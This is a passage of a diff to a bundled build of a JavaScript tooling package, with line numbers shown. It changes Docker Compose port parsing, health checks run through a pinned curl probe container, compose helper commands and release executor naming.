+ } catch (_error) {
7047
+ return;
7048
+ }
7049
+ const parsed = ComposeFileShape.safeParse(yamlValue);
7050
+ if (!parsed.success) return void 0;
7051
+ const value = parsed.data.name;
7052
+ if (typeof value !== "string") return void 0;
7053
+ return value;
7054
+ }
7055
+ //#endregion
6672
7056
  //#region src/docker-check/detect.ts
6673
7057
  /** Compose file names to scan, in priority order. */
6674
7058
  const COMPOSE_FILE_CANDIDATES = [
@@ -6753,43 +7137,73 @@ function parseHostPortSegment(segment) {
6753
7137
  port: parsed
6754
7138
  };
6755
7139
  }
6756
- /** Parse a single port mapping string and extract the host port. */
7140
+ /** Parse the container-port portion of a mapping — a plain literal number. */
7141
+ function parseContainerPortSegment(segment) {
7142
+ const parsed = Number.parseInt(segment.trim(), 10);
7143
+ return Number.isNaN(parsed) ? void 0 : parsed;
7144
+ }
7145
+ /** Parse a single port mapping string and extract both the host and container ports. */
6757
7146
  function parsePortString(port) {
6758
7147
  const withoutProtocol = port.split("/")[0];
6759
7148
  if (!withoutProtocol) return void 0;
6760
7149
  if (withoutProtocol.startsWith("${")) {
6761
7150
  const close = withoutProtocol.indexOf("}");
6762
7151
  if (close === -1) return void 0;
6763
- return parseHostPortSegment(withoutProtocol.slice(0, close + 1));
7152
+ const hostPort = parseHostPortSegment(withoutProtocol.slice(0, close + 1));
7153
+ const rest = withoutProtocol.slice(close + 1);
7154
+ return {
7155
+ hostPort,
7156
+ containerPort: rest.startsWith(":") ? parseContainerPortSegment(rest.slice(1)) : void 0
7157
+ };
6764
7158
  }
6765
7159
  const parts = withoutProtocol.split(":");
6766
- if (parts.length === 2) return parts[0] ? parseHostPortSegment(parts[0]) : void 0;
6767
- if (parts.length === 3) return parts[1] ? parseHostPortSegment(parts[1]) : void 0;
7160
+ if (parts.length === 2) return {
7161
+ hostPort: parts[0] ? parseHostPortSegment(parts[0]) : void 0,
7162
+ containerPort: parts[1] ? parseContainerPortSegment(parts[1]) : void 0
7163
+ };
7164
+ if (parts.length === 3) return {
7165
+ hostPort: parts[1] ? parseHostPortSegment(parts[1]) : void 0,
7166
+ containerPort: parts[2] ? parseContainerPortSegment(parts[2]) : void 0
7167
+ };
6768
7168
  }
6769
7169
  /**
6770
- * Find the first usable host port from a service's port mappings, returning
6771
- * either a literal `hostPort` or a `portEnvVar` (with its default as `hostPort`).
7170
+ * Find the first usable port mapping from a service's port mappings, returning
7171
+ * either a literal `hostPort` or a `portEnvVar` (with its default as `hostPort`),
7172
+ * plus the container-side port from that same mapping.
6772
7173
  */
6773
7174
  function findHostPort(ports) {
6774
7175
  for (const port of ports ?? []) {
6775
- const extracted = extractHostPort(port);
7176
+ const extracted = extractPortMapping(port);
6776
7177
  if (!extracted) continue;
6777
- if (extracted.kind === "literal") return { hostPort: extracted.port };
7178
+ const { hostPort, containerPort } = extracted;
7179
+ if (hostPort === void 0) return { containerPort };
7180
+ if (hostPort.kind === "literal") return {
7181
+ hostPort: hostPort.port,
7182
+ containerPort
7183
+ };
6778
7184
  return {
6779
- portEnvVar: extracted.name,
6780
- hostPort: extracted.default
7185
+ portEnvVar: hostPort.name,
7186
+ hostPort: hostPort.default,
7187
+ containerPort
6781
7188
  };
6782
7189
  }
6783
7190
  return {};
6784
7191
  }
6785
- function extractHostPort(port) {
7192
+ /** Parse the container-side literal from a long-syntax `target:` value. */
7193
+ function parseLongSyntaxTarget(target) {
7194
+ if (typeof target === "number") return target;
7195
+ if (typeof target === "string") return parseContainerPortSegment(target);
7196
+ }
7197
+ function extractPortMapping(port) {
6786
7198
  if (typeof port === "string") return parsePortString(port);
6787
7199
  const published = port.published;
6788
- if (typeof published === "number") return {
6789
- kind: "literal",
6790
- port: published
7200
+ return {
7201
+ hostPort: typeof published === "number" ? {
7202
+ kind: "literal",
7203
+ port: published
7204
+ } : typeof published === "string" ? parseHostPortSegment(published) : void 0,
7205
+ containerPort: parseLongSyntaxTarget(port.target)
6791
7206
  };
6792
- if (typeof published === "string") return parseHostPortSegment(published);
6793
7207
  }
6794
7208
  /** Parse compose files and return service info (names, ports, healthcheck presence). */
6795
7209
  function parseComposeServices(cwd, composeFiles) {
@@ -6807,10 +7221,12 @@ function parseComposeServices(cwd, composeFiles) {
6807
7221
  const existing = serviceMap.get(name);
6808
7222
  let hostPort = existing?.hostPort;
6809
7223
  let portEnvVar = existing?.portEnvVar;
7224
+ let containerPort = existing?.containerPort;
6810
7225
  if (hostPort === void 0 && portEnvVar === void 0) {
6811
7226
  const found = findHostPort(service.ports);
6812
7227
  hostPort = found.hostPort;
6813
7228
  portEnvVar = found.portEnvVar;
7229
+ containerPort = found.containerPort;
6814
7230
  }
6815
7231
  const buildDockerfile = resolveBuildDockerfile(cwd, service.build);
6816
7232
  serviceMap.set(name, {
@@ -6819,6 +7235,7 @@ function parseComposeServices(cwd, composeFiles) {
6819
7235
  buildDockerfile: existing?.buildDockerfile ?? buildDockerfile,
6820
7236
  hostPort,
6821
7237
  portEnvVar,
7238
+ containerPort,
6822
7239
  hasHealthcheck: existing?.hasHealthcheck ?? service.healthcheck !== void 0
6823
7240
  });
6824
7241
  }
@@ -6928,22 +7345,28 @@ function isLocallyBuiltService(service, locallyBuiltImageNames) {
6928
7345
  return false;
6929
7346
  }
6930
7347
  /**
6931
- * Generate health checks from parsed services: services with exposed ports get
6932
- * HTTP checks, unless they define a compose-level healthcheck.
7348
+ * Generate health checks from parsed services: services with a discoverable
7349
+ * container port get an HTTP check, unless they define a compose-level
7350
+ * healthcheck.
6933
7351
  *
6934
- * `resolvedPorts` maps service names to ports allocated at runtime (for
6935
- * `${PORT}`-parameterized services); a resolved port overrides the parsed
6936
- * `hostPort` so the check URL targets the port the stack actually binds.
6937
- */
6938
- function deriveHealthChecks(services, resolvedPorts = /* @__PURE__ */ new Map()) {
7352
+ * The check probes from inside the target's own network namespace
7353
+ * (`viaNetworkService`) rather than via the host-published port — a
7354
+ * host-published port is unreachable when `docker:check` itself runs inside a
7355
+ * container sharing the host's docker daemon (e.g. a Forgejo/GitHub Actions
7356
+ * runner), since compose publishes the port in the *host's* netns, not the
7357
+ * caller's. Gating on `containerPort` (a static literal from the compose file)
7358
+ * rather than `hostPort` also means this works even when the host side is
7359
+ * `${PORT}`-parameterized and not yet resolved.
7360
+ */
7361
+ function deriveHealthChecks(services) {
6939
7362
  const checks = [];
6940
7363
  for (const s of services) {
6941
7364
  if (s.hasHealthcheck) continue;
6942
- const port = resolvedPorts.get(s.name) ?? s.hostPort;
6943
- if (port === void 0) continue;
7365
+ if (s.containerPort === void 0) continue;
6944
7366
  checks.push({
6945
7367
  name: s.name,
6946
- url: `http://localhost:${String(port)}/`
7368
+ url: `http://localhost:${String(s.containerPort)}/`,
7369
+ viaNetworkService: s.name
6947
7370
  });
6948
7371
  }
6949
7372
  return checks;
@@ -7071,7 +7494,7 @@ function createFileReader() {
7071
7494
  function generateMigratePrompt(results, config, detected) {
7072
7495
  const sections = [];
7073
7496
  const timestamp = (/* @__PURE__ */ new Date()).toISOString();
7074
- sections.push(`# Migration Prompt\n\n_Generated by \`@bensandee/tooling@0.66.0 repo:sync\` on ${timestamp}_\n`);
7497
+ sections.push(`# Migration Prompt\n\n_Generated by \`@bensandee/tooling@0.68.0 repo:sync\` on ${timestamp}_\n`);
7075
7498
  const changed = results.filter((r) => r.action === "created" || r.action === "updated" || r.action === "archived");
7076
7499
  if (changed.length > 0) {
7077
7500
  const items = changed.map((r) => {
@@ -7438,7 +7861,7 @@ function isExecSyncError(err) {
7438
7861
  //#endregion
7439
7862
  //#region src/release/executor.ts
7440
7863
  /** Create an executor that runs real commands, fetches, and reads the filesystem. */
7441
- function createRealExecutor() {
7864
+ function createRealExecutor$1() {
7442
7865
  return {
7443
7866
  exec(file, args, options) {
7444
7867
  try {
@@ -8049,7 +8472,7 @@ const releaseForgejoCommand = defineCommand({
8049
8472
  const result = await runRelease(buildReleaseConfig({
8050
8473
  dryRun: args["dry-run"] === true,
8051
8474
  verbose: args.verbose === true || isEnvVerbose()
8052
- }), createRealExecutor());
8475
+ }), createRealExecutor$1());
8053
8476
  if (result.mode === "publish") {
8054
8477
  const outputFile = process.env["GITHUB_OUTPUT"];
8055
8478
  if (outputFile) try {
@@ -8264,7 +8687,7 @@ const releaseTriggerCommand = defineCommand({
8264
8687
  workflow: "release.yml",
8265
8688
  ref,
8266
8689
  inputs
8267
- }, createRealExecutor());
8690
+ }, createRealExecutor$1());
8268
8691
  }
8269
8692
  });
8270
8693
  //#endregion
@@ -8305,7 +8728,7 @@ const workflowDispatchCommand = defineCommand({
8305
8728
  workflow: args.workflow,
8306
8729
  ref,
8307
8730
  inputs
8308
- }, createRealExecutor());
8731
+ }, createRealExecutor$1());
8309
8732
  }
8310
8733
  });
8311
8734
  //#endregion
@@ -8323,7 +8746,7 @@ const createForgejoReleaseCommand = defineCommand({
8323
8746
  async run({ args }) {
8324
8747
  const resolved = resolveConnection(process.cwd());
8325
8748
  if (resolved.type !== "forgejo") throw new FatalError("forgejo:create-release requires a Forgejo repository");
8326
- const executor = createRealExecutor();
8749
+ const executor = createRealExecutor$1();
8327
8750
  const conn = resolved.conn;
8328
8751
  const target = resolveTagCommit(executor, process.cwd(), args.tag);
8329
8752
  if (await ensureRelease(executor, conn, args.tag, { target }) === "exists") log.info(`Release for ${args.tag} already exists — skipping`);
@@ -8350,7 +8773,7 @@ const releaseMergeCommand = defineCommand({
8350
8773
  }
8351
8774
  });
8352
8775
  async function mergeForgejo(conn, dryRun) {
8353
- const executor = createRealExecutor();
8776
+ const executor = createRealExecutor$1();
8354
8777
  const prNumber = await findOpenPr(executor, conn, HEAD_BRANCH);
8355
8778
  if (prNumber === null) throw new FatalError(`No open PR found for branch ${HEAD_BRANCH}`);
8356
8779
  if (dryRun) {
@@ -8364,7 +8787,7 @@ async function mergeForgejo(conn, dryRun) {
8364
8787
  log.info(`Merged PR #${String(prNumber)} and deleted branch ${HEAD_BRANCH}`);
8365
8788
  }
8366
8789
  function mergeGitHub(dryRun) {
8367
- const executor = createRealExecutor();
8790
+ const executor = createRealExecutor$1();
8368
8791
  if (dryRun) {
8369
8792
  const prNum = executor.exec("gh", [
8370
8793
  "pr",
@@ -8855,7 +9278,7 @@ const prCreateCommand = defineCommand({
8855
9278
  },
8856
9279
  async run({ args }) {
8857
9280
  const body = readBodySource(args.body ?? void 0, args["body-file"] ?? void 0);
8858
- const result = await runPrCreate(createRealExecutor(), {
9281
+ const result = await runPrCreate(createRealExecutor$1(), {
8859
9282
  cwd: process.cwd(),
8860
9283
  title: args.title ?? void 0,
8861
9284
  body,
@@ -9181,7 +9604,7 @@ const releaseSimpleCommand = defineCommand({
9181
9604
  prerelease: args.prerelease ?? process.env["RELEASE_PRERELEASE"] ?? void 0,
9182
9605
  platform
9183
9606
  };
9184
- const result = await runSimpleRelease(createRealExecutor(), config);
9607
+ const result = await runSimpleRelease(createRealExecutor$1(), config);
9185
9608
  if (result.pushed) {
9186
9609
  const outputFile = process.env["GITHUB_OUTPUT"];
9187
9610
  if (outputFile) try {
@@ -9225,7 +9648,7 @@ const releaseAssetsCommand = defineCommand({
9225
9648
  toolingConfig: loadToolingConfig(cwd),
9226
9649
  platform
9227
9650
  };
9228
- await runReleaseAssets(createRealExecutor(), config);
9651
+ await runReleaseAssets(createRealExecutor$1(), config);
9229
9652
  }
9230
9653
  });
9231
9654
  //#endregion
@@ -9323,7 +9746,7 @@ function runRunChecks(targetDir, options = {}) {
9323
9746
  const getScripts = options.getScripts ?? defaultGetScripts;
9324
9747
  const configChecks = (options.toolingConfig ?? loadToolingConfig(targetDir))?.checks;
9325
9748
  const skip = /* @__PURE__ */ new Set([...options.skip ?? [], ...configChecks?.skip ?? []]);
9326
- const add = [...options.add ?? [], ...configChecks?.add ?? []];
9749
+ const add = [.../* @__PURE__ */ new Set([...options.add ?? [], ...configChecks?.add ?? []])];
9327
9750
  const isCI = Boolean(process.env["CI"]);
9328
9751
  const failFast = options.failFast ?? !isCI;
9329
9752
  const reporter = isCI ? ciReporter : localReporter;
@@ -9383,12 +9806,12 @@ const runChecksCommand = defineCommand({
9383
9806
  },
9384
9807
  skip: {
9385
9808
  type: "string",
9386
- description: "Comma-separated list of checks to skip (build, typecheck, lint, test, format, knip, tooling:check, docs:check, docker:build, docker:check)",
9809
+ description: "Comma-separated globs of checks to skip (build, typecheck, lint, test, format, knip, tooling:check, docs:check, docker:build, docker:check). UNIONS with .tooling.json#checks.skip",
9387
9810
  required: false
9388
9811
  },
9389
9812
  add: {
9390
9813
  type: "string",
9391
- description: "Comma-separated list of additional check names to run (uses pnpm run <name>)",
9814
+ description: "Comma-separated extra check names to run via `pnpm run <name>`. UNIONS with .tooling.json#checks.add; an added check with no matching script is a hard failure",
9392
9815
  required: false
9393
9816
  },
9394
9817
  "fail-fast": {
@@ -9513,7 +9936,7 @@ const publishDockerCommand = defineCommand({
9513
9936
  dryRun: args["dry-run"] === true,
9514
9937
  verbose: args.verbose === true || isEnvVerbose()
9515
9938
  };
9516
- runDockerPublish(createRealExecutor(), config);
9939
+ runDockerPublish(createRealExecutor$1(), config);
9517
9940
  }
9518
9941
  });
9519
9942
  //#endregion
@@ -9555,7 +9978,7 @@ const dockerBuildCommand = defineCommand({
9555
9978
  }
9556
9979
  },
9557
9980
  async run({ args }) {
9558
- const executor = createRealExecutor();
9981
+ const executor = createRealExecutor$1();
9559
9982
  const rawExtra = args._ ?? [];
9560
9983
  const extraArgs = Array.isArray(rawExtra) ? rawExtra.map(String) : [String(rawExtra)];
9561
9984
  const verbose = args.verbose === true || isEnvVerbose();
@@ -9575,6 +9998,54 @@ const dockerBuildCommand = defineCommand({
9575
9998
  }
9576
9999
  });
9577
10000
  //#endregion
10001
+ //#region src/docker-check/executor.ts
10002
+ /** Create an executor that runs real commands, fetches, and manages process signals. */
10003
+ function createRealExecutor() {
10004
+ return {
10005
+ exec(file, args, options) {
10006
+ const result = spawnSync(file, args, {
10007
+ cwd: options?.cwd,
10008
+ env: options?.env ? {
10009
+ ...process.env,
10010
+ ...options.env
10011
+ } : void 0,
10012
+ encoding: "utf-8",
10013
+ stdio: [
10014
+ "pipe",
10015
+ "pipe",
10016
+ "pipe"
10017
+ ]
10018
+ });
10019
+ return {
10020
+ stdout: result.stdout ?? "",
10021
+ stderr: result.stderr ?? "",
10022
+ exitCode: result.status ?? 1
10023
+ };
10024
+ },
10025
+ execInherit(file, args, options) {
10026
+ execFileSync(file, args, {
10027
+ cwd: options?.cwd,
10028
+ env: options?.env ? {
10029
+ ...process.env,
10030
+ ...options.env
10031
+ } : void 0,
10032
+ stdio: "inherit"
10033
+ });
10034
+ },
10035
+ fetch: globalThis.fetch,
10036
+ now: () => Date.now(),
10037
+ sleep: (ms) => new Promise((resolve) => setTimeout(resolve, ms)),
10038
+ onSignal(signal, handler) {
10039
+ process.on(signal, handler);
10040
+ return () => {
10041
+ process.removeListener(signal, handler);
10042
+ };
10043
+ },
10044
+ log: (msg) => console.log(msg),
10045
+ logError: (msg) => console.error(msg)
10046
+ };
10047
+ }
10048
+ //#endregion
9578
10049
  //#region src/docker-check/free-port.ts
9579
10050
  /**
9580
10051
  * Allocate a TCP port the OS currently reports as free, by binding a probe
@@ -9605,13 +10076,565 @@ function findFreePort() {
9605
10076
  });
9606
10077
  }
9607
10078
  //#endregion
10079
+ //#region src/docker-check/compose.ts
10080
+ /** Zod schema for a single container entry from `docker compose ps --format json`.
10081
+ * State/ExitCode/ID are optional: older compose versions may omit them, in which
10082
+ * case exit-code checking degrades to the pre-existing health-only gating, and a
10083
+ * network-namespace probe (which needs `ID`) simply can't run. */
10084
+ const ContainerInfoSchema = z.object({
10085
+ Service: z.string(),
10086
+ Health: z.string(),
10087
+ State: z.string().optional(),
10088
+ ExitCode: z.number().optional(),
10089
+ ID: z.string().optional()
10090
+ });
10091
+ /** Build the `docker compose` base args from config. */
10092
+ function composeArgs(config) {
10093
+ const args = [
10094
+ "compose",
10095
+ "--project-name",
10096
+ config.projectName
10097
+ ];
10098
+ for (const f of config.composeFiles) args.push("-f", f);
10099
+ if (config.envFile) args.push("--env-file", config.envFile);
10100
+ return args;
10101
+ }
10102
+ /**
10103
+ * Compose's unset-interpolation warning. The variable name is quoted, and the
10104
+ * quotes arrive backslash-escaped when stderr is a pipe (which it always is
10105
+ * here) but bare when it is a TTY — so both forms are accepted.
10106
+ */
10107
+ const UNSET_VARIABLE_WARNING = /The\s+\\?"([^"\\]+)\\?"\s+variable is not set/g;
10108
+ /** Names of the interpolation variables compose warned were unset, in order, de-duplicated. */
10109
+ function parseUnsetVariables(stderr) {
10110
+ const names = /* @__PURE__ */ new Set();
10111
+ for (const match of stderr.matchAll(UNSET_VARIABLE_WARNING)) {
10112
+ const name = match[1];
10113
+ if (name) names.add(name);
10114
+ }
10115
+ return [...names];
10116
+ }
10117
+ /**
10118
+ * Ask compose which interpolation variables are unset, and map each to an empty
10119
+ * string so it can be injected into the child env of every later compose call.
10120
+ *
10121
+ * Compose warns `The "FOO" variable is not set` once per file per invocation —
10122
+ * including on `down` — for a `${FOO}` with no default. Nothing expressible in
10123
+ * the check overlay silences that: interpolation happens per-file, before the
10124
+ * merge. Setting the variable does silence it, and setting it to the *empty
10125
+ * string* is what compose already substitutes, so the value each container sees
10126
+ * is unchanged. A non-empty placeholder would not be: a service that dials
10127
+ * `${LYRION_HOST}` would start resolving a hostname where today it gets "".
10128
+ *
10129
+ * Detection is delegated to compose rather than re-implementing its grammar:
10130
+ * `config` has already consulted `--env-file` and the process env, so it reports
10131
+ * exactly the variables that still need filling, in every position (`image:`,
10132
+ * `ports:`, `volumes:`, …) and every form, with `$$` escapes and `${FOO:-def}`
10133
+ * defaults already accounted for. If the wording ever changes we fill nothing
10134
+ * and the warnings simply come back — a `${FOO:?required}` error is never masked.
10135
+ *
10136
+ * Variables already present in `config.env` are left alone: the free-port logic
10137
+ * owns PORT, and an empty string there would unbind the published port.
10138
+ */
10139
+ function fillUnsetVariables(executor, config) {
10140
+ const result = executor.exec("docker", [...composeArgs(config), "config"], {
10141
+ cwd: config.cwd,
10142
+ env: config.env
10143
+ });
10144
+ const filled = {};
10145
+ for (const name of parseUnsetVariables(result.stderr)) {
10146
+ if (config.env && name in config.env) continue;
10147
+ filled[name] = "";
10148
+ }
10149
+ return filled;
10150
+ }
10151
+ /** Run the build command if configured. */
10152
+ function buildImages(executor, config) {
10153
+ if (!config.buildCommand) return;
10154
+ const [file, ...args] = config.buildCommand;
10155
+ if (!file) return;
10156
+ executor.execInherit(file, args, { cwd: config.buildCwd ?? config.compose.cwd });
10157
+ }
10158
+ /** Run the smoketest command against the running stack. */
10159
+ function runSmoketest(executor, config) {
10160
+ if (!config.smoketest) return;
10161
+ const [file, ...args] = config.smoketest;
10162
+ if (!file) return;
10163
+ executor.execInherit(file, args, {
10164
+ cwd: config.smoketestCwd ?? config.compose.cwd,
10165
+ env: config.compose.env
10166
+ });
10167
+ }
10168
+ /** Start the compose stack in detached mode. */
10169
+ function composeUp(executor, config) {
10170
+ executor.execInherit("docker", [
10171
+ ...composeArgs(config),
10172
+ "up",
10173
+ "-d"
10174
+ ], {
10175
+ cwd: config.cwd,
10176
+ env: config.env
10177
+ });
10178
+ }
10179
+ /** Tear down the compose stack, removing volumes and orphans. Swallows errors. */
10180
+ function composeDown(executor, config) {
10181
+ try {
10182
+ executor.execInherit("docker", [
10183
+ ...composeArgs(config),
10184
+ "down",
10185
+ "-v",
10186
+ "--remove-orphans"
10187
+ ], {
10188
+ cwd: config.cwd,
10189
+ env: config.env
10190
+ });
10191
+ } catch (_error) {}
10192
+ }
10193
+ /**
10194
+ * Show logs for a specific service (or all services if not specified). Captured
10195
+ * via `executor.exec` (not streamed via `execInherit`) and re-emitted through
10196
+ * `executor.log`/`executor.logError`, with an explicit "(no log output)" marker
10197
+ * when both streams come back empty — a streamed dump gives no way to tell "the
10198
+ * app produced nothing because nothing ever reached it" from "the dump itself
10199
+ * silently failed", which cost real debugging time chasing issue #300's
10200
+ * shared-daemon timeout (the derived HTTP probe never reached the app, so its
10201
+ * logs were empty on every failing run). Swallows errors.
10202
+ */
10203
+ function composeLogs(executor, config, service) {
10204
+ try {
10205
+ const args = [...composeArgs(config), "logs"];
10206
+ if (service) args.push(service);
10207
+ const result = executor.exec("docker", args, {
10208
+ cwd: config.cwd,
10209
+ env: config.env
10210
+ });
10211
+ executor.log(service ? `-- ${service} logs --` : "-- logs --");
10212
+ if (result.stdout.trim()) executor.log(result.stdout);
10213
+ if (result.stderr.trim()) executor.logError(result.stderr);
10214
+ if (!result.stdout.trim() && !result.stderr.trim()) executor.log("(no log output)");
10215
+ } catch (_error) {}
10216
+ }
10217
+ /**
10218
+ * Dump `docker compose ps -a` in its default plain-text table alongside
10219
+ * `composeLogs()` at every failure/timeout site — a container-state snapshot
10220
+ * (exit code, "Restarting", etc.) survives even when the target emitted no
10221
+ * logs at all, which is exactly what happened chasing issue #300's
10222
+ * shared-daemon timeout (the probe never reached the app, so `composeLogs()`
10223
+ * alone gave no signal). Swallows errors, matching `composeLogs()`.
10224
+ */
10225
+ function composePsDump(executor, config) {
10226
+ try {
10227
+ const result = executor.exec("docker", [
10228
+ ...composeArgs(config),
10229
+ "ps",
10230
+ "-a"
10231
+ ], {
10232
+ cwd: config.cwd,
10233
+ env: config.env
10234
+ });
10235
+ executor.log("-- compose ps -a --");
10236
+ if (result.stdout.trim()) executor.log(result.stdout);
10237
+ if (result.stderr.trim()) executor.logError(result.stderr);
10238
+ if (!result.stdout.trim() && !result.stderr.trim()) executor.log("(no ps output)");
10239
+ } catch (_error) {}
10240
+ }
10241
+ /**
10242
+ * Query container status via `docker compose ps --format json`.
10243
+ * Handles both JSON array and newline-delimited JSON (varies by docker compose version).
10244
+ */
10245
+ function composePs(executor, config) {
10246
+ const output = executor.exec("docker", [
10247
+ ...composeArgs(config),
10248
+ "ps",
10249
+ "--format",
10250
+ "json",
10251
+ "--all"
10252
+ ], {
10253
+ cwd: config.cwd,
10254
+ env: config.env
10255
+ }).stdout.trim();
10256
+ if (!output) return [];
10257
+ const ArraySchema = z.array(ContainerInfoSchema);
10258
+ try {
10259
+ const direct = ArraySchema.safeParse(JSON.parse(output));
10260
+ if (direct.success) return direct.data;
10261
+ const single = ContainerInfoSchema.safeParse(JSON.parse(output));
10262
+ if (single.success) return [single.data];
10263
+ } catch (_error) {}
10264
+ try {
10265
+ const joined = `[${output.split("\n").join(",")}]`;
10266
+ const delimited = ArraySchema.safeParse(JSON.parse(joined));
10267
+ return delimited.success ? delimited.data : [];
10268
+ } catch (_error) {
10269
+ return [];
10270
+ }
10271
+ }
10272
+ //#endregion
10273
+ //#region src/docker-check/health.ts
10274
+ /**
10275
+ * `docker run`'s exit code when the *daemon* fails to start the container at
10276
+ * all (image not found, pull access denied/timeout, daemon unreachable) —
10277
+ * Docker's own longstanding CLI convention, distinct from the containerized
10278
+ * process's own exit code (curl's own failure codes — e.g. 7 = connection
10279
+ * refused, 28 = timeout — live in a disjoint, lower range). A 125 here means
10280
+ * the probe itself is broken and must fail fast, not degrade to "keep
10281
+ * polling" for the full timeout — the exact silent-timeout symptom this
10282
+ * feature exists to fix.
10283
+ */
10284
+ const DOCKER_RUN_START_FAILURE_EXIT_CODE = 125;
10285
+ /**
10286
+ * `curl`'s per-attempt connect/total timeout, in seconds, for the network-mode
10287
+ * probe. Deliberately short — polling already retries every `pollIntervalMs`
10288
+ * (5s by default, see `check.ts`), so a stuck probe should fail that one
10289
+ * attempt quickly rather than block the next poll.
10290
+ */
10291
+ const PROBE_TIMEOUT_SECONDS = "5";
10292
+ /**
10293
+ * The image used to probe a service from inside its own network namespace
10294
+ * (`docker run --network container:<id> ...`). `curlimages/curl` is tiny,
10295
+ * official, and guaranteed to have `curl` — unlike the target service's own
10296
+ * image, which the derived-check feature must assume nothing about beyond
10297
+ * "listens on a port" (see `deriveHealthChecks()` in `detect.ts`).
10298
+ *
10299
+ * Why a dedicated pinned image instead of reusing something already present:
10300
+ * this repo builds no always-present agent/runner image to piggyback on, so
10301
+ * there's nothing guaranteed to already be on a CI runner's docker host the
10302
+ * way there might be elsewhere. The no-new-image alternative — `docker
10303
+ * compose exec <service> curl ...` against the target's own, already-pulled
10304
+ * image — was considered and rejected: it would require every target image
10305
+ * to ship both a shell and an HTTP client, an assumption the derived-check
10306
+ * feature is designed to avoid (it only activates for services with no
10307
+ * compose-level healthcheck at all, so it must assume as little as possible
10308
+ * about what's actually in that image).
10309
+ *
10310
+ * Pinned by digest, not a tag: a tag-pinned probe image would re-pull (and
10311
+ * could silently change) on every check run, reintroducing this exact
10312
+ * issue's silent-timeout symptom on the very shared-daemon CI runners it
10313
+ * targets, since registry egress is often restricted there. Resolved from
10314
+ * `curlimages/curl:8.21.0` (the latest stable tag as of 2026-07-16) via the
10315
+ * Docker Hub registry API — this is the digest of the multi-arch manifest
10316
+ * list, so `docker run` still resolves the correct platform automatically.
10317
+ */
10318
+ const PROBE_IMAGE = "curlimages/curl@sha256:7c12af72ceb38b7432ab85e1a265cff6ae58e06f95539d539b654f2cfa64bb13";
10319
+ /** Look up the health status of a specific service from container info. */
10320
+ function getContainerHealth(containers, serviceName) {
10321
+ return containers.find((c) => c.Service === serviceName)?.Health ?? "unknown";
10322
+ }
10323
+ /**
10324
+ * The exit code of a service's container, when it has exited — undefined while
10325
+ * it is running (or listed without State/ExitCode by an older compose). The
10326
+ * check overlay sets `restart: "no"`, so an exit observed here is terminal.
10327
+ */
10328
+ function getContainerExitCode(containers, serviceName) {
10329
+ const container = containers.find((c) => c.Service === serviceName);
10330
+ if (container?.State !== "exited") return void 0;
10331
+ return container.ExitCode;
10332
+ }
10333
+ /**
10334
+ * The container ID of a service, when reported (an older compose may omit `ID`).
10335
+ * Used to probe a service from inside its own network namespace via
10336
+ * `docker run --network container:<id>`.
10337
+ */
10338
+ function getContainerId(containers, serviceName) {
10339
+ return containers.find((c) => c.Service === serviceName)?.ID;
10340
+ }
10341
+ /**
10342
+ * Probe a service from inside its own network namespace via a throwaway
10343
+ * `docker run --network container:<id>` using the pinned curl probe image
10344
+ * (see `PROBE_IMAGE`) — this is what makes the check work when the caller
10345
+ * (e.g. a Forgejo runner sharing the host docker daemon) can't reach the
10346
+ * target's published host port directly. Deliberately *not* wrapped in the
10347
+ * blanket try/catch `checkHttpHealth`'s direct-`fetch()` path uses: a
10348
+ * docker-level probe failure (missing image, unreachable daemon) must
10349
+ * surface, not silently degrade to "keep polling" for the full timeout —
10350
+ * the exact symptom this feature exists to fix. See
10351
+ * `DOCKER_RUN_START_FAILURE_EXIT_CODE` for the 125-exit fail-fast path, and
10352
+ * `executor.exec` throwing outright (e.g. the `docker` binary missing) is
10353
+ * likewise left unhandled here, to propagate the same way.
10354
+ *
10355
+ * `--network container:<id>` (join the target's own namespace) rather than
10356
+ * `--network <project>_default` (join the compose project's network) needs no
10357
+ * project/network name derivation, and keeps working regardless of a custom
10358
+ * top-level `networks:` stanza or `network_mode: host` on the target — it
10359
+ * just joins whatever namespace the target is already in, whatever that is.
10360
+ */
10361
+ async function checkHttpHealthViaNetwork(executor, compose, check, viaNetworkService, containers) {
10362
+ const containerId = getContainerId(containers, viaNetworkService);
10363
+ if (containerId === void 0) return false;
10364
+ const result = executor.exec("docker", [
10365
+ "run",
10366
+ "--rm",
10367
+ "--network",
10368
+ `container:${containerId}`,
10369
+ PROBE_IMAGE,
10370
+ "curl",
10371
+ "-s",
10372
+ "-o",
10373
+ "/dev/null",
10374
+ "-w",
10375
+ "%{http_code}",
10376
+ "--connect-timeout",
10377
+ PROBE_TIMEOUT_SECONDS,
10378
+ "--max-time",
10379
+ PROBE_TIMEOUT_SECONDS,
10380
+ check.url
10381
+ ], {
10382
+ cwd: compose.cwd,
10383
+ env: compose.env
10384
+ });
10385
+ if (result.exitCode === DOCKER_RUN_START_FAILURE_EXIT_CODE) throw new UnexpectedError(`docker run failed to start the probe image ${PROBE_IMAGE}: ${result.stderr.trim() || "(no stderr captured)"}`);
10386
+ const status = Number.parseInt(result.stdout, 10);
10387
+ const httpResult = {
10388
+ status: Number.isNaN(status) ? 0 : status,
10389
+ ok: status >= 200 && status < 300
10390
+ };
10391
+ return await check.validate(httpResult);
10392
+ }
10393
+ /** Run a single HTTP health check, returning true if the validator passes. */
10394
+ async function checkHttpHealth(executor, compose, check, containers) {
10395
+ if (check.viaNetworkService !== void 0) return checkHttpHealthViaNetwork(executor, compose, check, check.viaNetworkService, containers);
10396
+ try {
10397
+ const response = await executor.fetch(check.url);
10398
+ return await check.validate(response);
10399
+ } catch (_error) {
10400
+ return false;
10401
+ }
10402
+ }
10403
+ //#endregion
10404
+ //#region src/docker-check/check.ts
10405
+ const DEFAULT_TIMEOUT_MS = 12e4;
10406
+ const DEFAULT_POLL_INTERVAL_MS = 5e3;
10407
+ /**
10408
+ * Fill any compose interpolation variable that is still unset with an empty
10409
+ * string, so `${FOO}` with no default stops warning on every compose call —
10410
+ * `up` and, after the check has already passed, teardown. See
10411
+ * `fillUnsetVariables` for why empty (not a placeholder) and why compose itself
10412
+ * decides which variables need it.
10413
+ *
10414
+ * This runs here rather than in the `docker:check` command so the env reaches
10415
+ * every compose invocation *and* the smoketest through one `CheckConfig`, and so
10416
+ * programmatic consumers of the `docker-check` export get it too.
10417
+ */
10418
+ function withFilledVariables(executor, config) {
10419
+ const filled = fillUnsetVariables(executor, config.compose);
10420
+ const names = Object.keys(filled);
10421
+ if (names.length === 0) return config;
10422
+ executor.log(`Unset compose variables set to an empty string: ${names.join(", ")}. To supply real values, put them in ${config.compose.envFile ?? "docker-compose.check.env"} beside the compose file.`);
10423
+ return {
10424
+ ...config,
10425
+ compose: {
10426
